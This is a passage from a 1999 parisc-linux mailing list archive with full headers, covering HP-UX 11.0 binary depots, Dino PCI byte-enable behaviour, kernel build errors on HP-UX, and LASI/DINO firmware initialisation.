I've got the following:

    bash-2.03-1.depot.gz (*Completely* untested - If you try it
        tonight, do me a favor and let me know if it works.)

    binutils-2.9.1-1.depot.gz (Vanilla binutils 2.9.1.)

    cvs-1.10.6-1.depot.gz (Slightly patched because of a conflicting
        definition in rpc/nis.h for UNKNOWN.  Not tested as much as
        I'd like...

    diffutils-2.7-1.depot.gz
    fileutils-4.0-1.depot.gz
    flex-2.5.4-1.depot.gz

    gcc-2.8.1-1.depot.gz (Compiled to use HP's as.)
    gcc-2.8.1-2.depot.gz (Compiled to use GNU as, and with stabs
        support.)

    less-3.40-1.depot.gz (Seems a little broken.  Something must have
        changed in HP's curses libs from 10.20 to 11.0...)

    make-3.77-1.depot.gz
    patch-2.5-1.depot.gz

(I left egcs-1.1.2 compiling as I left work.  It should be out there
first thing in the morning, US time.)

Probably the quickest way to install any of the above is to gunzip the
file, then do "swinstall -v -s foo-xxx.depot foo".  (I'll try to type
up some more detailed instructions, plus some instructions for
creating the packages, later in the week.)

Let me know how the stuff works for you if you install any of it.

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(217)698-1694             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Richard J. Rauenzahn" <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 11.0 binaries
Date: Mon, 14 Jun 1999 17:30:19 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <00dc01beb6c6$3fec8e80$6e7a0e0f@rr701542.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619644 12077 80.91.229.3 (22 Nov 2014 01:27:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:24 +0000 (UTC)
To: "Steven Pritchard" <steve@osiris.silug.org>,
        <parisc-linux@thepuffingroup.com>
Original-X-From: rrauenza@cup.hp.com  Mon Jun 14 18:30:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA15914
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 18:30:35 -0600
Original-Received: (qmail 21783 invoked by uid 15267); 15 Jun 1999 00:30:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21776 invoked from network); 15 Jun 1999 00:30:21 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 00:30:21 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA00204;
	Mon, 14 Jun 1999 17:30:25 -0700 (PDT)
Original-Received: from rr701542 (rr701542.cup.hp.com [15.14.122.110]) by hairball.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA19528; Mon, 14 Jun 1999 17:30:22 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3155.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Xref: news.gmane.org gmane.linux.ports.parisc:9555

>Probably the quickest way to install any of the above is to gunzip the
>file, then do "swinstall -v -s foo-xxx.depot foo".  (I'll try to type
>up some more detailed instructions, plus some instructions for
>creating the packages, later in the week.)


The easiest is probably ...

    $ swinstall -v -s /path/foo.depot \*

Be sure to start the depot path with a path starting with / or SDUX gets
confused -- it will think you're trying to access a remote depot.

Thanks for packaging those up!

Rich


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces
Date: Mon, 14 Jun 1999 17:48:20 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <199906150048.RAA19186@milano.cup.hp.com>
References: <E10tfnY-0006em-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619645 12080 80.91.229.3 (22 Nov 2014 01:27:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Mon Jun 14 18:48:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA16084
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 18:48:48 -0600
Original-Received: (qmail 23833 invoked by uid 15267); 15 Jun 1999 00:48:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23826 invoked from network); 15 Jun 1999 00:48:34 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 00:48:34 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id UAA15699
	for <parisc-linux@thepuffingroup.com>; Mon, 14 Jun 1999 20:48:21 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA19186; Mon, 14 Jun 1999 17:48:21 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 15 Jun 1999 00:05:46 PDT."
             <E10tfnY-0006em-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9556

Alan Cox wrote:
> > > accesses. There seems to be no way to do byte sized config accesses, do
> > > I just read 32bits mask and write 32bits ?
> > 
> > I thought Dino will forward the byte enables to the PCI bus.
> > PCI-PCI bridge numbering I think depends on this.
> 
> So how do I set those. The documentaiton also says the low two bits of
> the register read back as 0. I guess that doesnt actually imply that the
> write of it has no affect. 

The PCI_CONFIG_ADDR register (offset 0x64) is used to source the
word address. So it's not surprising the lower order bits are RO.

"Byte enables" are GSC and PCI bus signals - not register contents.
The PA processor generates byte enable signals on the GSC bus and
Dino forwards those for the appropriate bytes (swapped to match
the swapping/endian conversion done for the PCI_CONFIG_DATA register.)
The byte enable signals are taken when a processor read/write targets
the PCI_CONFIG_DATA register (offset 0x68). The contents of PCI_CONFIG_ADDR
and bytes enable signals from GSC bus are combined to generate a read/write
transaction on the PCI bus.

(Disclaimer: I'm not as certain of the above as it sounds though I
believe it's correct - remember, I'm a SW engineer :^)


> > On these boxes it's "uncomplicated" since the host physical address
> > is the same as the PCI bus address. I mention this since it's not
> > the case for all HP platforms.
> 
> Ok. We have a clear notion of bus/physical/virtual seperation, and
> translation macros. Linux stuff all uses
> 
> virt_to_bus() - to convert to bus space
> virt_to_phys() - to convert to physical space

Excellent.

later,
grant

> 
> Alan
> 

Grant Grundler
Enterprise Systems Technology Lab
+1.408.447.7253


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@osiris.silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 11.0 binaries
Date: Mon, 14 Jun 1999 21:31:12 -0500 (CDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <199906150231.VAA08498@osiris.silug.org>
References: <00dc01beb6c6$3fec8e80$6e7a0e0f@rr701542.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619645 12092 80.91.229.3 (22 Nov 2014 01:27:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rrauenza@cup.hp.com (Richard J. Rauenzahn)
Original-X-From: steve@osiris.silug.org  Mon Jun 14 20:35:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA16334
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 20:35:04 -0600
Original-Received: (qmail 6080 invoked by uid 15267); 15 Jun 1999 02:34:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6070 invoked from network); 15 Jun 1999 02:34:49 -0000
Original-Received: from gw.lanscape.net (HELO osiris.silug.org) (208.235.155.254)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 02:34:49 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id VAA08498;
	Mon, 14 Jun 1999 21:31:12 -0500
In-Reply-To: <00dc01beb6c6$3fec8e80$6e7a0e0f@rr701542.cup.hp.com> from "Richard J. Rauenzahn" at "Jun 14, 99 05:30:19 pm"
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9557

Richard J. Rauenzahn said:
> The easiest is probably ...
> 
>     $ swinstall -v -s /path/foo.depot \*
> 
> Be sure to start the depot path with a path starting with / or SDUX gets
> confused -- it will think you're trying to access a remote depot.

Oops.  You're right.  I typed that message up in a hurry.  Sorry about
that.

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(217)698-1694             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ross Sponholtz" <rsponholtz@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 11.0 binaries
Date: Mon, 14 Jun 1999 22:40:27 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <003601beb6e0$d02b9800$4c51a8c0@monorailpc>
References: <199906150231.VAA08498@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619645 12096 80.91.229.3 (22 Nov 2014 01:27:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:25 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: rsponholtz@earthlink.net  Mon Jun 14 21:37:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA16542
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 21:37:29 -0600
Original-Received: (qmail 13980 invoked by uid 15267); 15 Jun 1999 03:37:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13972 invoked from network); 15 Jun 1999 03:37:10 -0000
Original-Received: from penguin.prod.itd.earthlink.net (207.217.120.134)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 03:37:10 -0000
Original-Received: from monorailpc (W-417.charter-stl.com [24.217.17.163])
	by penguin.prod.itd.earthlink.net (8.9.3/8.9.3) with SMTP id UAA13467
	for <parisc-linux@thepuffingroup.com>; Mon, 14 Jun 1999 20:37:20 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:9558

Since it is looking like I'm not going to get much done without HP/UX, does
anyone have any suggestions on how to get HP/UX for my 715/50?  I bought the
machine off ebay, and there was no OS installed.  Thanks!

Ross Sponholtz
rsponholtz@earthlink.net


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces (fwd)
Date: Mon, 14 Jun 1999 22:34:16 -0700 (PDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <199906150534.WAA14372@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619646 12098 80.91.229.3 (22 Nov 2014 01:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Mon Jun 14 23:34:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA16761
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 23:34:28 -0600
Original-Received: (qmail 28109 invoked by uid 15267); 15 Jun 1999 05:34:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28098 invoked from network); 15 Jun 1999 05:34:13 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 05:34:13 -0000
Original-Received: from srmail.sr.hp.com (srmail.sr.hp.com [15.4.45.14])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id WAA23626
	for <parisc-linux@thepuffingroup.com>; Mon, 14 Jun 1999 22:34:20 -0700 (PDT)
Original-Received: from meow.sr.hp.com by srmail.sr.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA109984857; Mon, 14 Jun 1999 22:34:17 -0700
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id WAA14372 for parisc-linux@thepuffingroup.com; Mon, 14 Jun 1999 22:34:16 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9559

|Alan Cox wrote:
|> > > accesses. There seems to be no way to do byte sized config accesses, do
|> > > I just read 32bits mask and write 32bits ?
|> > 
|> > I thought Dino will forward the byte enables to the PCI bus.
|> > PCI-PCI bridge numbering I think depends on this.
|> 
|> So how do I set those. The documentaiton also says the low two bits of
|> the register read back as 0. I guess that doesnt actually imply that the
|> write of it has no affect. 
|
|The PCI_CONFIG_ADDR register (offset 0x64) is used to source the
|word address. So it's not surprising the lower order bits are RO.
|
|"Byte enables" are GSC and PCI bus signals - not register contents.
|The PA processor generates byte enable signals on the GSC bus and
|Dino forwards those for the appropriate bytes (swapped to match
|the swapping/endian conversion done for the PCI_CONFIG_DATA register.)
|The byte enable signals are taken when a processor read/write targets
|the PCI_CONFIG_DATA register (offset 0x68). The contents of PCI_CONFIG_ADDR
|and bytes enable signals from GSC bus are combined to generate a read/write
|transaction on the PCI bus.
|
|(Disclaimer: I'm not as certain of the above as it sounds though I
|believe it's correct - remember, I'm a SW engineer :^)
|

Grant has it right.  I've watchedd Dino with a full logic analyzer on
both GSC and PCI...  The 4 byte enables get swapped as Grant described
and if you do a single byte access, a single byte pops out the other side.

	-Bill


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich.Strelow@schering.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compiling Linux Kernel on HP-UX
Date: Tue, 15 Jun 1999 12:22:46 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <C1256791.00392418.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619646 12102 80.91.229.3 (22 Nov 2014 01:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Ulrich.Strelow@schering.de  Tue Jun 15 04:23:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA17397
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 04:23:08 -0600
Original-Received: (qmail 24099 invoked by uid 15267); 15 Jun 1999 10:22:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24092 invoked from network); 15 Jun 1999 10:22:53 -0000
Original-Received: from dns1.schering.de (149.234.12.1)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 10:22:53 -0000
Original-Received: from be3334.schering.de by dns1.schering.de
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 15 Jun 1999 10:23:05 UT
Original-Received: from fw-wiss.schering.de (be2314.schering.de [149.234.1.29])
	by be3334.schering.de (8.9.1/8.9.1) with SMTP id MAA12401
	for <parisc-linux@thepuffingroup.com>; Tue, 15 Jun 1999 12:21:48 +0200 (MET DST)
Original-Received: from be2314.schering.de by fw-wiss.schering.de
          via smtpd (for be3334.schering.de [192.168.11.3]) with SMTP; 15 Jun 1999 10:23:02 UT
Original-Received: by BE2314.schering.de(Lotus SMTP MTA v4.6.2  (693.3 8-11-1998))  id C1256791.00392536 ; Tue, 15 Jun 1999 12:24:10 +0200
X-Lotus-FromDomain: SCHERINGGROUP
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9560



Hi,

I'm trying to compile the latest CVS-snapshot (19990615) on my HP 715/33
using gcc 2.7.2.2 and binutils 2.7. Compiling kernel/sched.c gives the
following error:

sched.c:579: section attributes are not supported for this target

I am running HP-UX 10.20, so I cannot use the depots from
ftp://puffin.external.hp.com/pub/parisc/binaries/depot/.
So the question is: do I need gcc 2.8.1 and binutils 2.9.1 to build the
kernel on HP-UX or is this some other error ?

Ulrich
---------------------------------------------
Ulrich Strelow
<ulrich.strelow@schering.de or
ulrich_strelow@csi.com>
Berlin, Germany



From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Linux Kernel on HP-UX
Date: Tue, 15 Jun 1999 12:31:47 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <199906151031.MAA12339@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619646 12106 80.91.229.3 (22 Nov 2014 01:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:26 +0000 (UTC)
To: Ulrich.Strelow@schering.de, parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Tue Jun 15 04:32:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA17562
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 04:32:08 -0600
Original-Received: (qmail 24805 invoked by uid 15267); 15 Jun 1999 10:31:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24798 invoked from network); 15 Jun 1999 10:31:52 -0000
Original-Received: from pallas.spacetec.no (192.51.5.92)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 10:31:52 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id MAA12339;
	Tue, 15 Jun 1999 12:31:49 +0200
In-Reply-To: Ulrich.Strelow@schering.de
       "[parisc-linux] Compiling Linux Kernel on HP-UX" (Jun 15, 11:26)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:9561

On Jun 15, 11:26, Ulrich.Strelow@schering.de wrote:
>I am running HP-UX 10.20, so I cannot use the depots from
>ftp://puffin.external.hp.com/pub/parisc/binaries/depot/.
>So the question is: do I need gcc 2.8.1 and binutils 2.9.1 to build the
>kernel on HP-UX or is this some other error ?

I'm pretty sure you need the hacked egcs and binutils.  You can check them 
out of cvs from the same place as the kernel (I use them for cross-compiling 
though).

-Tor


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Averell Eisner <a_eisner@eisner.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 11.0 binaries
Date: Tue, 15 Jun 1999 07:57:45 -0400
Organization: Eisner Associates, Inc,
Lines: 26
Approved: news@gmane.org
Message-ID: <37663FB9.9D40D175@eisner.com>
References: <199906150231.VAA08498@osiris.silug.org> <003601beb6e0$d02b9800$4c51a8c0@monorailpc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619646 12108 80.91.229.3 (22 Nov 2014 01:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ross Sponholtz <rsponholtz@earthlink.net>
Original-X-From: a_eisner@eisner.com  Tue Jun 15 05:53:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA17866
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 05:53:56 -0600
Original-Received: (qmail 31450 invoked by uid 15267); 15 Jun 1999 11:53:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31443 invoked from network); 15 Jun 1999 11:53:41 -0000
Original-Received: from ha1.rdc1.nj.home.com (HELO mail.rdc1.nj.home.com) (imail@24.3.128.66)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 11:53:41 -0000
Original-Received: from eisner.com ([24.3.162.67]) by mail.rdc1.nj.home.com
          (InterMail v4.01.01.00 201-229-111) with ESMTP
          id <19990615115353.CORW21001.mail.rdc1.nj.home.com@eisner.com>;
          Tue, 15 Jun 1999 04:53:53 -0700
X-Mailer: Mozilla 4.05 [en]C-AtHome0404  (Win95; U)
Xref: news.gmane.org gmane.linux.ports.parisc:9562

Ross Sponholtz wrote:
> 
> Since it is looking like I'm not going to get much done without HP/UX, does
> anyone have any suggestions on how to get HP/UX for my 715/50?  I bought the
> machine off ebay, and there was no OS installed.  Thanks!
> 
> Ross Sponholtz
> rsponholtz@earthlink.net
> 

If you can use a copy of HP-UX 10.20 for workstations from earlier this
year, I have several unopened sets at my office. Each set includes the
the OS, the application disks and the extension set.  The HP list price
is $520. each. I normally sell a set for $150.  I willing to sell them
for $100 to recover part of my cost.

Also, I have some HP workstations and servers I took in as trade. The
workstation batch includes 712s, 715s, 725s and 735s. Any interest?
-- 
Averell

Eisner Associates, Inc.                 Phone: 908-233-6585
516 North Ave. East                     FAX:   908-233-0710
P.O. Box 2489
Westfield, NJ 07090


From - Thu Nov 08 21:15:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces (fwd)
Date: Tue, 15 Jun 1999 13:53:41 +0100 (BST)
Lines: 8
Approved: news@gmane.org
Message-ID: <E10tsil-0007FD-00@the-village.bc.nu>
References: <199906150534.WAA14372@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619647 12109 80.91.229.3 (22 Nov 2014 01:27:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: billk@sr.hp.com (Bill Katz)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Jun 15 07:01:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA18082
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 07:01:14 -0600
Original-Received: (qmail 6033 invoked by uid 15267); 15 Jun 1999 13:00:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6026 invoked from network); 15 Jun 1999 13:00:58 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 13:00:58 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10tsil-0007FD-00; Tue, 15 Jun 1999 13:53:43 +0100
In-Reply-To: <199906150534.WAA14372@meow.sr.hp.com> from "Bill Katz" at Jun 14, 99 10:34:16 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9563

> Grant has it right.  I've watchedd Dino with a full logic analyzer on
> both GSC and PCI...  The 4 byte enables get swapped as Grant described
> and if you do a single byte access, a single byte pops out the other side.

Thanks. I'll go and change my PCI code to reflect reality

Alan


From - Thu Nov 08 21:15:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lasi/Dino/Interrupts (fwd)
Date: Tue, 15 Jun 1999 08:30:47 -0700 (PDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <199906151530.IAA17946@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619647 12113 80.91.229.3 (22 Nov 2014 01:27:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Tue Jun 15 09:30:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18419
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 09:30:58 -0600
Original-Received: (qmail 31009 invoked by uid 15267); 15 Jun 1999 15:30:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31002 invoked from network); 15 Jun 1999 15:30:42 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 15:30:42 -0000
Original-Received: from srmail.sr.hp.com (srmail.sr.hp.com [15.4.45.14])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA23488
	for <parisc-linux@thepuffingroup.com>; Tue, 15 Jun 1999 11:30:30 -0400 (EDT)
Original-Received: from meow.sr.hp.com by srmail.sr.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA067820649; Tue, 15 Jun 1999 08:30:49 -0700
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id IAA17946 for parisc-linux@thepuffingroup.com; Tue, 15 Jun 1999 08:30:47 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9564

I didn't see any answers, and I've got a couple...

|I've started putting together some basic code to drive LASI and DINO.
|Some things aren't terribly clear however
|
|1.	How much of LASI/DINO/PCI has been initialised by the boot firmware.
|	Has it performed the PCI device configurations and assigned bus
|	spaces for the devices ?

The PCI firmware is rather extensive.  It walks the bus, can deal with
PCI to PCI bridges, and assigns both address space and interrupt
lines to every device it finds.  It leaves the imporartant information
in the base address register and interrupt line register of the PCI devices
it finds.

|
|	Will the LASI devices be in reset state except for the console port
|	(Im assuming lasi is driving the firmware console ?)

Yes, LASI is used for tty0, or the firmware console on all systems
that have a LASI.  I believe you can work really hard at assigning
the console somewhere else, like tty1, which comes from either DINO
or WAX, or ... depending on which system we're talking about.

On systems that use LASI LAN and SCSI those modules will be up and running
by the time the OS is launched.  I believe on systems that use the DEC
